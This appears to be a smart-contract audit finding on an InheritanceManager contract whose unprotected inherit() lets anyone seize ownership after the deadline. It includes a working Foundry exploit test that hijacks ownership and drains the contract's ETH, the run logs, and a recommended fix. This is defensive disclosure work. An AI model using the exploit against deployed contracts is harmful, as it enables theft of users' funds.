Summary
If the owner only adds a single beneficiary to the InheritanceManager::beneficiaries[] array using InheritanceManager::addBeneficiary(), after 90 days the contract ownership may be hijacked by a malicious actor that may check the timelock using InheritanceManager::getDeadline() and subsequently use InheritanceManager::inherit() to gain ownership.
Vulnerability Details
To allow for the owner to regain ownership from InheritanceManager::beneficiaries[] slot 0, the contract allows unprotected calls to InheritanceManager::inherit() (lines 217-229):
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
@> if (beneficiaries.length == 1) {
@> owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
The deadline for when to call InheritanceManager::inherit() may also be checked as InheritanceManager::getDeadline() is also unprotected (lines 193-195):
function getDeadline() public view returns (uint256) {
return deadline;
}
Impact
This provides the malicious actor with ownership and therefore access to all the functionality afforded the owner, including access to all assets stored in the contract.
Proof Of Concept
function test_maliciousInherit() public {
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
console.log("initial owner:\t\t%s", im.getOwner());
vm.deal(address(im), 10e10);
console.log("initial contract balance:\t%s", address(im).balance);
vm.startPrank(user2);
im.getDeadline();
console.log("malicous actor checks deadline:\t%s", im.getDeadline());
vm.stopPrank();
vm.warp(1 + 90 days);
vm.startPrank(user2);
im.inherit();
console.log("hijacked owner:\t\t%s", im.getOwner());
im.sendETH(address(im).balance, user2);
vm.stopPrank();
console.log("stolen funds:\t\t\t%s", user2.balance);
console.log("Final contract balance:\t%s", address(im).balance);
}
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_maliciousInherit() (gas: 143779)
Logs:
initial owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
initial contract balance: 100000000000
malicous actor checks deadline: 7776001
hijacked owner: 0x537C8f3d3E18dF5517a58B3fB9D9143697996802
stolen funds: 100000000000
Final contract balance: 0
Tools Used
Foundry Forge:
forge test --mt test_maliciousInherit -vv
Recommendations
Modify the InheritanceManager::inherit() function so that only the beneficiary account in slot 0 is able to inherit ownership:
function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
@> if (beneficiaries.length == 1 && beneficiaries[0] == msg.sender) {
owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[FAIL: InvalidBeneficiaries()] test_maliciousInherit() (gas: 98504)
Logs:
initial owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266
initial contract balance: 100000000000
malicous actor checks deadline: 7776001
